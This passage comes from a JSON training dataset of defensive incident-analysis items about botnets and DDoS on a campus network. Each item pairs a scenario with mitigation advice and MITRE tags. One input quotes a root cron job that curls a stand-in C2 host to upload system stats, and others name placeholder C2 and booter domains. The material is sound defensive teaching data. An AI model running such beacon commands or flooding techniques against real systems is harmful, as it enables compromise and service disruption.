"Output": "The repeated large-file requests may be saturating available bandwidth. Use CDN or caching, rate-limit abusive clients, require appropriate access controls for bulk downloads, and use upstream DDoS protection if bandwidth exhaustion is confirmed.",
"Metadata": {
"threat_type": "ddos",
"attack_techniques": [
"T1498.001: Direct Network Flood"
],
"sector_impact": [
"Education",
"Online Learning"
],
"observables": {
"file_paths": [
"/ebooks/course101.pdf"
],
"ip_addresses": [
"192.168.100.50",
"192.168.100.51"
]
}
}
},
{
"id": "botnet-ddos-misc-048",
"Instruction": "Analyze if multiple campus devices continuously probing remote Telnet ports is an indicator of a botnet searching for IoT targets.",
"Input": "Network monitoring flags repeated Telnet connection attempts from a range of internal IPs to random external addresses on port 23.",
"Output": "Repeated outbound Telnet probing is a strong indicator of unauthorised scanning and may indicate botnet activity. Isolate the source devices, block unnecessary outbound Telnet, identify the responsible process, and remove or reimage confirmed malware.",
"Metadata": {
"threat_type": "botnet",
"attack_techniques": [
"T1595.001: Scanning IP Blocks"
],
"sector_impact": [
"Education"
],
"observables": {
"ports": [
"23"
]
}
}
},
{
"id": "botnet-ddos-misc-049",
"Instruction": "Determine if the unusual frequency of HEAD requests to a campus blog platform is part of a stealthy DDoS approach.",
"Input": "Apache logs reveal HEAD requests at an extremely high rate, but minimal data transferred, causing server overload.",
"Output": "The high-rate HEAD requests are consistent with HTTP service exhaustion. Apply request-rate and connection limits, protect the service with a reverse proxy or CDN, and filter behaviourally abusive clients.",
"Metadata": {
"threat_type": "ddos",
"attack_techniques": [
"T1499.002: Service Exhaustion Flood"
],
"sector_impact": [
"Education",
"Blog Services"
],
"observables": {
"request_methods": [
"HEAD"
],
"ip_addresses": [
"203.0.113.210",
"203.0.113.211"
]
}
}
},
{
"id": "botnet-ddos-misc-050",
"Instruction": "Check if detected Trojan software on an administrative staff computer is calling out to a known C2 domain, potentially enrolling it in a botnet.",
"Input": "Endpoint security flagged repeated traffic to admin-c2.example.org from the staff machine. Trojan signature recognized as Gootkit variant.",
"Output": "If the Gootkit detection and C2 destination are validated, treat the workstation as compromised. Isolate it, block the confirmed C2 infrastructure, collect necessary forensic data, reimage or remediate the host, and rotate credentials exposed on the system.",
"Metadata": {
"threat_type": "botnet",
"attack_techniques": [
"T1071: Application Layer Protocol"
],
"sector_impact": [
"Education",
"Administration"
],
"observables": {
"domains": [
"admin-c2.example.org"
],
"malware_family": [
"Gootkit"
]
}
}
},
{
"id": "botnet-ddos-misc-051",
"Instruction": "Analyze the abnormal egress traffic from the computer science department’s HPC cluster that saturates the external link daily at 2 AM.",
"Input": "Netflow data: HPC cluster nodes each send 500 Mbps to random IPs at 2 AM, continuing for 30 minutes.",
"Output": "The scheduled outbound surge is suspicious but should be compared with legitimate HPC jobs before declaring a botnet. Review scheduler and process telemetry, identify destinations, stop unauthorised jobs, isolate affected nodes, and apply egress limits where appropriate.",
"Metadata": {
"threat_type": "ddos",
"attack_techniques": [
"T1498.001: Direct Network Flood"
],
"sector_impact": [
"Education",
"Research Labs"
],
"observables": {}
}
},
{
"id": "botnet-ddos-misc-052",
"Instruction": "Examine if root-level cron jobs on a professor's workstation that curl suspicious URLs indicate a script-based botnet membership.",
"Input": "Found a daily cron job: 'curl http://bot-c2.example.net/ping' uploading system stats. Professor denies installing it.",
"Output": "A root cron job repeatedly contacting an unapproved external URL and uploading system information is strong evidence of compromise. Preserve evidence, isolate the workstation, remove persistence after collection, block the destination, and rotate credentials that may have been exposed.",
"Metadata": {
"threat_type": "botnet",
"attack_techniques": [
"T1053.003: Cron",
"T1071.001: Web Protocols"
],
"sector_impact": [
"Education"
],
"observables": {
"domains": [
"bot-c2.example.net"
]
}
}
},
{
"id": "botnet-ddos-misc-053",
"Instruction": "Determine whether API calls from the campus e-sports lounge to a booter service indicate DDoS-for-hire activity.",
"Input": "Logs reveal repeated API calls from lounge PCs to booter-service.example.org with parameters specifying target IP ranges.",
"Output": "The API calls are consistent with use of a DDoS-for-hire or booter service. Preserve logs, block the service, identify the responsible account or endpoint, stop ongoing activity, and follow the organisation's incident, legal, and acceptable-use processes.",
"Metadata": {
"threat_type": "ddos",
"attack_techniques": [
"T1583.005: Acquire Infrastructure: Botnet"
],
"sector_impact": [
"Education",
"Gaming Community"
],
"observables": {
"domains": [
"booter-service.example.org"
]
}
}
},
{
"id": "botnet-ddos-misc-054",
"Instruction": "Identify if a custom-coded Python script run by a student is orchestrating a slowloris DDoS on the campus help desk site.",
"Input": "Help desk logs show numerous open HTTP connections with incomplete headers, each lasting minutes, from a single lab machine.",
"Output": "The long-lived incomplete HTTP connections are consistent with Slowloris-style service exhaustion. Stop the unauthorised script, preserve evidence, enforce connection and header timeouts, cap concurrent connections, and use reverse-proxy protections where appropriate.",
"Metadata": {
"threat_type": "ddos",
"attack_techniques": [
"T1499.002: Service Exhaustion Flood"
],
"sector_impact": [
"Education"
],
"observables": {
"scripts": [
"slowloris.py"
],
"ports": [
"80",
"443"
]
},
"threat_actor": "insider_student"
}
},
{
"id": "botnet-ddos-misc-055",
"Instruction": "Analyze if multiple ICS/SCADA devices controlling campus HVAC are sending large outbound packets, possibly part of a botnet.",
"Input": "HVAC logs: consistent outbound connections to shady IP addresses on port 2000. Staff deny legitimate remote usage.",
"Output": "Unexplained outbound ICS/HVAC traffic is a serious compromise indicator, but attribution to a botnet needs confirmation. Segment the devices, block unauthorised egress, collect passive network evidence, follow vendor-approved remediation, and avoid disruptive scanning of operational systems.",
"Metadata": {
"threat_type": "botnet",
"attack_techniques": [],
"sector_impact": [
"Education",
"Facilities Management"
],
"observables": {
"ip_addresses": [
"203.0.113.201"
],
"ports": [
"2000"
]
}
}
},
{
"id": "botnet-ddos-misc-056",
"Instruction": "Check if unexplained routing loops in the campus core network are a result of malicious misrouting for a potential DDoS or data capture.",
"Input": "Core routers show repeated route changes to the same next hop, creating loops that degrade performance.",
"Output": "The routing loops may result from configuration failure or malicious tampering. Compare against known-good router configurations, review control-plane and authentication logs, validate routing peers, and restore trusted configuration after preserving evidence.",
"Metadata": {
"threat_type": "route_manipulation",
"attack_techniques": [],
"sector_impact": [
"Education"
],
"observables": {
"router_ids": [
"CoreRouter01",
"CoreRouter02"
]
}
}
},
{
"id": "botnet-ddos-misc-057",
"Instruction": "Determine if a flurry of half-open TCP connections to the campus bookstore’s payment gateway is a DDoS meant to disrupt transactions.",
"Input": "Payment gateway logs show thousands of half-open sockets, each dropping before completion, causing timeout errors.",
"Output": "The half-open connection pattern is consistent with a SYN flood. Enable SYN cookies or SYN proxying, tune connection-state limits carefully, rate-limit abusive traffic, and engage upstream DDoS protection if the attack is volumetric.",
"Metadata": {
"threat_type": "ddos",
"attack_techniques": [
"T1499.001: OS Exhaustion Flood"
],
"sector_impact": [
"Education",
"E-commerce"
],
"observables": {
"ports": [
"443"
]
}
}
},
{
"id": "botnet-ddos-misc-058",
"Instruction": "Analyze if daily traffic surges at 11 PM on a departmental file server are due to a planned backup or a hidden DDoS operation from a botnet node.",
"Input": "Server usage logs show no official backups scheduled at 11 PM. Yet bandwidth spikes to 500 Mbps outbound.",
"Output": "The unscheduled outbound traffic is suspicious but could represent DDoS activity, exfiltration, or an undocumented job. Identify destinations and processes, inspect scheduler state, contain unexplained activity, and avoid blocking evidence before collection.",
"Metadata": {
"threat_type": "traffic_anomaly",
"attack_techniques": [],
"sector_impact": [
"Education"
],
"observables": {
"timeframe": [
"23:00 - 23:30"
]
}
}
},
{
"id": "botnet-ddos-misc-059",
"Instruction": "Check if a wave of randomized HEAD, POST, and DELETE requests from unknown user agents are crippling the campus mobile app API.",
"Input": "Mobile API logs: thousands of requests from 'X-Bot/3.1' user agent, each request method unpredictable, leading to server queue backlog.",
"Output": "The high-rate mixed HTTP methods are consistent with service exhaustion against the API. Enforce an allow-list of required methods, add API-gateway or reverse-proxy rate limits, protect queues and workers, and block behaviourally abusive clients.",
"Metadata": {
"threat_type": "ddos",
"attack_techniques": [
"T1499.002: Service Exhaustion Flood"
],
"sector_impact": [
"Education",
"Mobile Services"
],
"observables": {
"user_agents": [
"X-Bot/3.1"
],
"request_methods": [
"HEAD",
"POST",
"DELETE"
]
}
}
},
{
"id": "botnet-ddos-misc-060",
"Instruction": "Identify if repeated RDP attempts from compromised lab machines to external hosts are a sign they’re part of a remote-desktop botnet infiltration.",
"Input": "Lab PCs attempt RDP sessions to random IP addresses at frequent intervals, each attempt failing after a few seconds.",
"Output": "Repeated outbound RDP attempts to random addresses are consistent with unauthorised scanning or propagation activity. Isolate affected lab PCs, block unnecessary outbound RDP, identify the responsible process, and remediate confirmed compromise.",
"Metadata": {
"threat_type": "botnet",
"attack_techniques": [
"T1595.001: Scanning IP Blocks"
],
"sector_impact": [
"Education"
],
"observables": {
"ports": [
"3389"
]
}
}
},
{
"id": "botnet-ddos-misc-061",
"Instruction": "Analyze a phishing email sent to faculty that promotes a booter service and encourages DDoS attacks against other institutions.",
"Input": "Phishing email: 'Boost your departmental standings—take down competitor's site with our easy booter platform!'",
"Output": "The email is malicious social engineering promoting a DDoS-for-hire service. Block the linked service, warn recipients, preserve the message and headers, review click telemetry, and investigate any endpoints or accounts that interacted with it.",
"Metadata": {
"threat_type": "phishing",
"attack_techniques": [],
"sector_impact": [
"Education"
],
"observables": {
"domains": [
"booter.example.org"
],
"email_addresses": [
"phishing@example.net"
]
}
}
}
]

Xet Storage Details

Size:
55.9 kB
·
Xet hash:
d24ad769669b05145aa31d3a3dcbfe25effd658721946d0844e2ab8dc47ed354

Xet efficiently stores files, intelligently splitting them into unique chunks and accelerating uploads and downloads. More info.